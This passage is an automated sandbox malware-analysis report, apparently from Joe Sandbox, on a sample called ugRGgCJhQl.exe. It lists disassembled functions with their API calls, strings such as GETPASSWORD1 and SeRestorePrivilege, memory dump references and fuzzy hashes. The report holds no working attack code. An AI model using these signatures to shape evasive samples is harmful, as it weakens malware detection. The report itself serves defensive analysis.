                                                                          • Part of subcall function 002F081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 002F0836
                                                                          • Part of subcall function 002F081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,002EF2D8,Crypt32.dll,00000000,002EF35C,?,?,002EF33E,?,?,?), ref: 002F0858
                                                                        • GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 002EF2E4
                                                                        • GetProcAddress.KERNEL32(003281C8,CryptUnprotectMemory), ref: 002EF2F4
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AddressProc$DirectoryLibraryLoadSystem
                                                                        • String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
                                                                        • API String ID: 2141747552-1753850145
                                                                        • Opcode ID: 44856148e503e763cd827106b1f7694ad7b0e3238c9586e31a0259e60b439070
                                                                        • Instruction ID: c45a45a3989fc11cccd05062658280639eda23f807222d1a98bef87c2fec1e38
                                                                        • Opcode Fuzzy Hash: 44856148e503e763cd827106b1f7694ad7b0e3238c9586e31a0259e60b439070
                                                                        • Instruction Fuzzy Hash: 08E04F719607829ED7229F359949BC1BAD86F0C700F14C86DE0DAA3641D7B5D5908B50
                                                                        Function 00302BDA Relevance: 7.7, APIs: 5, Instructions: 168COMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AdjustPointer$_abort
                                                                        • String ID:
                                                                        • API String ID: 2252061734-0
                                                                        • Opcode ID: f51547076c45cdb885fb6c13d8f61d3af573c19006b68674010862eb51f9191c
                                                                        • Instruction ID: 903c285951b8e8d8d3514df5c977cf03374933b27d58024ab31b8725b95d2d41
                                                                        • Opcode Fuzzy Hash: f51547076c45cdb885fb6c13d8f61d3af573c19006b68674010862eb51f9191c
                                                                        • Instruction Fuzzy Hash: 6A51A171502212AFEB2B8F14D869BAB77A8FF54310F254529EC154B6E1D731ED80D790
                                                                        Function 0030BF30 Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • GetEnvironmentStringsW.KERNEL32 ref: 0030BF39
                                                                        • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0030BF5C
                                                                          • Part of subcall function 00308E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0030CA2C,00000000,?,00306CBE,?,00000008,?,003091E0,?,?,?), ref: 00308E38
                                                                        • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0030BF82
                                                                        • _free.LIBCMT ref: 0030BF95
                                                                        • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0030BFA4
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
                                                                        • String ID:
                                                                        • API String ID: 336800556-0
                                                                        • Opcode ID: d923ed2408488a76e7d002ab7ed4ac0e903ccae1ff09700a798ca60f9390e2cb
                                                                        • Instruction ID: 06dbdc21835832fc69634e29341f430d83cb1b816b255262bf50f0a8e919dcc3
                                                                        • Opcode Fuzzy Hash: d923ed2408488a76e7d002ab7ed4ac0e903ccae1ff09700a798ca60f9390e2cb
                                                                        • Instruction Fuzzy Hash: 3901D4726032127FE72326765C5CCBBAA6DDEC6BA03154129F904C7281EF608D01C5B0
                                                                        Function 00309869 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • GetLastError.KERNEL32(?,00321030,00000200,003091AD,0030617E,?,?,?,?,002ED984,?,?,?,00000004,002ED710,?), ref: 0030986E
                                                                        • _free.LIBCMT ref: 003098A3
                                                                        • _free.LIBCMT ref: 003098CA
                                                                        • SetLastError.KERNEL32(00000000,00313A34,00000050,00321030), ref: 003098D7
                                                                        • SetLastError.KERNEL32(00000000,00313A34,00000050,00321030), ref: 003098E0
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: ErrorLast$_free
                                                                        • String ID:
                                                                        • API String ID: 3170660625-0
                                                                        • Opcode ID: c55f9e9ba3b0d7207449fe3eb7d4a39de43a859142b1dd690fa36b5760ebed2c
                                                                        • Instruction ID: fee0ec318216dc5bec799fdeff84a85651fa62112efb36e125f91e02aba0ed08
                                                                        • Opcode Fuzzy Hash: c55f9e9ba3b0d7207449fe3eb7d4a39de43a859142b1dd690fa36b5760ebed2c
                                                                        • Instruction Fuzzy Hash: 8701F4361476016BD2136334ACB5B9B26ADDBD67B0B228236F926A63D3EE218C015121
                                                                        Function 002F0EED Relevance: 7.5, APIs: 5, Instructions: 43COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                          • Part of subcall function 002F11CF: ResetEvent.KERNEL32(?), ref: 002F11E1
                                                                          • Part of subcall function 002F11CF: ReleaseSemaphore.KERNEL32(?,00000000,00000000), ref: 002F11F5
                                                                        • ReleaseSemaphore.KERNEL32(?,00000040,00000000), ref: 002F0F21
                                                                        • CloseHandle.KERNEL32(?,?), ref: 002F0F3B
                                                                        • DeleteCriticalSection.KERNEL32(?), ref: 002F0F54
                                                                        • CloseHandle.KERNEL32(?), ref: 002F0F60
                                                                        • CloseHandle.KERNEL32(?), ref: 002F0F6C
                                                                          • Part of subcall function 002F0FE4: WaitForSingleObject.KERNEL32(?,000000FF,002F1206,?), ref: 002F0FEA
                                                                          • Part of subcall function 002F0FE4: GetLastError.KERNEL32(?), ref: 002F0FF6
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
                                                                        • String ID:
                                                                        • API String ID: 1868215902-0
                                                                        • Opcode ID: 6b6669e5c9369ba4e1878a8456bae1f5edf44973b8a6b764e63752179ca28da8
                                                                        • Instruction ID: a5027f6db69b3dc185ce1290b3351b6d198a6d05bce12d29455e8e6dd45f4dc8
                                                                        • Opcode Fuzzy Hash: 6b6669e5c9369ba4e1878a8456bae1f5edf44973b8a6b764e63752179ca28da8
                                                                        • Instruction Fuzzy Hash: 5B015E72110744EFC7229B64DD84BD6FBEDFB0C750F004929F26B92561CB757A64CA50
                                                                        Function 0030C7FF Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • _free.LIBCMT ref: 0030C817
                                                                          • Part of subcall function 00308DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,0030C896,00313A34,00000000,00313A34,00000000,?,0030C8BD,00313A34,00000007,00313A34,?,0030CCBA,00313A34), ref: 00308DE2
                                                                          • Part of subcall function 00308DCC: GetLastError.KERNEL32(00313A34,?,0030C896,00313A34,00000000,00313A34,00000000,?,0030C8BD,00313A34,00000007,00313A34,?,0030CCBA,00313A34,00313A34), ref: 00308DF4
                                                                        • _free.LIBCMT ref: 0030C829
                                                                        • _free.LIBCMT ref: 0030C83B
                                                                        • _free.LIBCMT ref: 0030C84D
                                                                        • _free.LIBCMT ref: 0030C85F
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: _free$ErrorFreeHeapLast
                                                                        • String ID:
                                                                        • API String ID: 776569668-0
                                                                        • Opcode ID: 59fa9b62ea1e82816c1b811f4b6dc7c1a21dd3bf421b945b264cf19cb176b067
                                                                        • Instruction ID: 73261a8f6ad4234962c7dc111bc6d03ee7e86d656206206531e0e3eb13b21969
                                                                        • Opcode Fuzzy Hash: 59fa9b62ea1e82816c1b811f4b6dc7c1a21dd3bf421b945b264cf19cb176b067
                                                                        • Instruction Fuzzy Hash: B0F09632522201ABC623DBA8F895C4B77EDBB04710B55A919F54CDB5D2CF71FC80CA68
                                                                        Function 002F1FDD Relevance: 7.5, APIs: 5, Instructions: 39COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • _wcslen.LIBCMT ref: 002F1FE5
                                                                        • _wcslen.LIBCMT ref: 002F1FF6
                                                                        • _wcslen.LIBCMT ref: 002F2006
                                                                        • _wcslen.LIBCMT ref: 002F2014
                                                                        • CompareStringW.KERNEL32(00000400,00001001,?,?,?,?,00000000,00000000,?,002EB371,?,?,00000000,?,?,?), ref: 002F202F
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: _wcslen$CompareString
                                                                        • String ID:
                                                                        • API String ID: 3397213944-0
                                                                        • Opcode ID: 488cc2228212171e7fe9a253274683c7df20f524be6b5a089291104c74549cf5
                                                                        • Instruction ID: 03a2a018e2524c1fb2ac3766b43b2940ea067bdd73fed0097d5c235b294eb2fb
                                                                        • Opcode Fuzzy Hash: 488cc2228212171e7fe9a253274683c7df20f524be6b5a089291104c74549cf5
                                                                        • Instruction Fuzzy Hash: 9FF06D33018018BBCF225F54EC09ECABF2AEB45B60B118019F61A5E0A1CB729665D690
                                                                        Function 002F15FE Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 197COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: _swprintf
                                                                        • String ID: %ls$%s: %s
                                                                        • API String ID: 589789837-2259941744
                                                                        • Opcode ID: 123d4abdd3d28f565eb941e848c92b010b1451de049ec72bbc0a995f1ece85c9
                                                                        • Instruction ID: 7d45ab711ea979abfadca29ee771e31db4b47bbedecf2b8a83fd1608dd3d444c
                                                                        • Opcode Fuzzy Hash: 123d4abdd3d28f565eb941e848c92b010b1451de049ec72bbc0a995f1ece85c9
                                                                        • Instruction Fuzzy Hash: 14510D352B430CF6FA122E908E46F35F25D6B04BC4FE44536F38AA84D1CAE25430AF1A
                                                                        Function 00307F6E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\ugRGgCJhQl.exe,00000104), ref: 00307FAE
                                                                        • _free.LIBCMT ref: 00308079
                                                                        • _free.LIBCMT ref: 00308083
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: _free$FileModuleName
                                                                        • String ID: C:\Users\user\Desktop\ugRGgCJhQl.exe
                                                                        • API String ID: 2506810119-566922804
                                                                        • Opcode ID: 599431d093d0e6697eac44abaa9488b948fe5efde7f0199e88bd8ab1303da485
                                                                        • Instruction ID: cee9111f4dd3f75b5a673761d945ca411b21dbfe4a7d5d4d068c736b2e950f99
                                                                        • Opcode Fuzzy Hash: 599431d093d0e6697eac44abaa9488b948fe5efde7f0199e88bd8ab1303da485
                                                                        • Instruction Fuzzy Hash: 9131B371A02209BFCB23DF95D89099EBBBCEF85310F114066F444AB291DBB09E44CB61
                                                                        Function 003031D6 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 003031FB
                                                                        • _abort.LIBCMT ref: 00303306
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: EncodePointer_abort
                                                                        • String ID: MOC$RCC
                                                                        • API String ID: 948111806-2084237596
                                                                        • Opcode ID: 76eb3caeb2a578904074dc23d58077f3d3f48077312b026781931157a1e900ac
                                                                        • Instruction ID: 63329a2233f3a9a1e8ff93fe2c68c4cc02f9756e68e22a32b327e232cefdc469
                                                                        • Opcode Fuzzy Hash: 76eb3caeb2a578904074dc23d58077f3d3f48077312b026781931157a1e900ac
                                                                        • Instruction Fuzzy Hash: 50417C71901209AFCF16DF94CC91AEEBBB9FF08304F198499F90467291D735EA50DB50
                                                                        Function 002E7401 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 103COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • __EH_prolog.LIBCMT ref: 002E7406
                                                                          • Part of subcall function 002E3BBA: __EH_prolog.LIBCMT ref: 002E3BBF
                                                                        • GetLastError.KERNEL32(?,?,00000800,?,?,?,00000000,00000000), ref: 002E74CD
                                                                          • Part of subcall function 002E7A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 002E7AAB
                                                                          • Part of subcall function 002E7A9C: GetLastError.KERNEL32 ref: 002E7AF1
                                                                          • Part of subcall function 002E7A9C: CloseHandle.KERNEL32(?), ref: 002E7B00
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: ErrorH_prologLast$CloseCurrentHandleProcess
                                                                        • String ID: SeRestorePrivilege$SeSecurityPrivilege
                                                                        • API String ID: 3813983858-639343689
                                                                        • Opcode ID: f8e3154e18d94e4c67a3cb2e7742074417168e8048437dcc2a278efe13654a3c
                                                                        • Instruction ID: ed91bac098eefb15a48c43ac7a908b35360c9cee7002818aeec5459abb67f1dd
                                                                        • Opcode Fuzzy Hash: f8e3154e18d94e4c67a3cb2e7742074417168e8048437dcc2a278efe13654a3c
                                                                        • Instruction Fuzzy Hash: F0310971D54289AADF12EFA5DC45BFEBBBCAF19344F844019F805A72C2C7704A64CB60
                                                                        Function 002FAD10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                          • Part of subcall function 002E1316: GetDlgItem.USER32(00000000,00003021), ref: 002E135A
                                                                          • Part of subcall function 002E1316: SetWindowTextW.USER32(00000000,003135F4), ref: 002E1370
                                                                        • EndDialog.USER32(?,00000001), ref: 002FAD98
                                                                        • GetDlgItemTextW.USER32(?,00000066,?,?), ref: 002FADAD
                                                                        • SetDlgItemTextW.USER32(?,00000066,?), ref: 002FADC2
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: ItemText$DialogWindow
                                                                        • String ID: ASKNEXTVOL
                                                                        • API String ID: 445417207-3402441367
                                                                        • Opcode ID: 14016060f7eeba2167b39442b9efdadaa2a631cee0172540b9e653e86b2585eb
                                                                        • Instruction ID: faa283ce3def36f5a7dfdbcd12e8ff5a9b1115fa7cca72088ef5c745c03270dd
                                                                        • Opcode Fuzzy Hash: 14016060f7eeba2167b39442b9efdadaa2a631cee0172540b9e653e86b2585eb
                                                                        • Instruction Fuzzy Hash: 5911B7722E0105AFD7129F58DC45F76B76DAB4B782F400120F345DB5A0CB61AD659B22
                                                                        Function 002FDDA0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • DialogBoxParamW.USER32(GETPASSWORD1,000103DA,002FB270,?,?), ref: 002FDE18
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: DialogParam
                                                                        • String ID: GETPASSWORD1$r/$xz3
                                                                        • API String ID: 665744214-1235056463
                                                                        • Opcode ID: 511eb4207dec1ccaa2ef703eedb9d30870db6436d6c0fae142b823822d347493
                                                                        • Instruction ID: 3c861dd1f12621991a9136ba294b0a204a3a1ee6b8a76df80aa464856acfc3af
                                                                        • Opcode Fuzzy Hash: 511eb4207dec1ccaa2ef703eedb9d30870db6436d6c0fae142b823822d347493
                                                                        • Instruction Fuzzy Hash: 58113B32220148ABDF23EF35AC01BFF7799A71A390F144074FE45AB181CAB4AC94C760
                                                                        Function 002ED8EC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • __fprintf_l.LIBCMT ref: 002ED954
                                                                        • _strncpy.LIBCMT ref: 002ED99A
                                                                          • Part of subcall function 002F1DA7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,00321030,00000200,002ED928,00000000,?,00000050,00321030), ref: 002F1DC4
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: ByteCharMultiWide__fprintf_l_strncpy
                                                                        • String ID: $%s$@%s
                                                                        • API String ID: 562999700-834177443
                                                                        • Opcode ID: d6cfea385d588eb02c7599a01614e67e5891183b91cdd585ce884c773825fccb
                                                                        • Instruction ID: 5fb03768e17f1f82ab0014804dee5f11ec748202afe69f6a9df9385d3f2f7086
                                                                        • Opcode Fuzzy Hash: d6cfea385d588eb02c7599a01614e67e5891183b91cdd585ce884c773825fccb
                                                                        • Instruction Fuzzy Hash: BF21937249028DEADF21EEA5CC41FEE7BA8AF05700F840421F91496193E271D6688B51
                                                                        Function 002F0E46 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON
                                                                        Download Yara Rule
                                                                        APIs
